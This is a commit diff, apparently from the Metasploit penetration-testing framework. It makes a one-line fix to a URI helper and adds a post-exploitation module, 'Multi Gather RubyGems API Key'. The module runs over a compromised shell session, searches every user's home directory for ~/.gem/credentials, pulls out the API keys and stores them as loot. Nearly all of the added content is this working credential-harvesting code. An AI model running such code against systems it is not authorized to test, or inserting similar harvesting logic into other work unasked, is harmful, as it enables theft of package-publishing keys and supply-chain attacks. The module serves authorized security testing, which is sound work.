Make sure this branch is up to date.
commit
ffd1257bff
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@ -106,7 +106,7 @@ module Msf
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# @return [String] URI to the exploit page
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#
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def get_module_resource
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"#{get_resource.chomp("/")}/#{@exploit_receiver_page}/"
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"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
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end
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#
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@ -0,0 +1,78 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit4 < Msf::Post
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include Msf::Post::File
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include Msf::Post::Unix
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Multi Gather RubyGems API Key',
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'Description' => %q{
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This module obtains a user's RubyGems API key from ~/.gem/credentials.
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},
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'Author' => [
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'Jonathan Claudius <jclaudius[at]trustwave.com>',
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'Brandon Myers <bmyers[at]trustwave.com>'
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],
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'Platform' => %w{bsd linux osx unix},
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'SessionTypes' => %w{shell},
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'License' => MSF_LICENSE
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))
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end
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def run
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print_status('Finding ~/.gem/credentials')
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paths = enum_user_directories.map { |d| d + '/.gem/credentials' }
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paths = paths.select { |f| file?(f) }
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if paths.empty?
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print_error('No users found with a ~/.gem/credentials file')
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return
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end
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download_key(paths)
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end
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# Ruby gem credentials are pretty standard and can come
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# in a few flavors, but the most common are straight yaml
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# and json, both of which are colon delimited. I suppose
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# you could concievably have more than one, but that'd be
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# manually editing, and the first one is probably the best
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# one anyway.
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def extract_key(path)
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data = read_file(path)
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keys = data.split(':').select { |k| k =~ /[0-9a-f]{32}/ }
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keys.map { |k| k.strip }.first
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end
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def download_key(paths)
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print_status("Looting #{paths.count} files")
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paths.each do |path|
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path.chomp!
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next if ['.', '..'].include?(path)
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rubygems_api_key = extract_key(path)
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next unless rubygems_api_key
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print_good("Found a RubyGems API key: #{rubygems_api_key}")
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loot_path = store_loot(
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'rubygems.apikey',
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'text/plain',
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session,
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rubygems_api_key,
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'rubygems_api_key.txt',
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'RubyGems API key'
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)
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print_good("RubyGems API key stored in #{loot_path}")
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end
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end
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end
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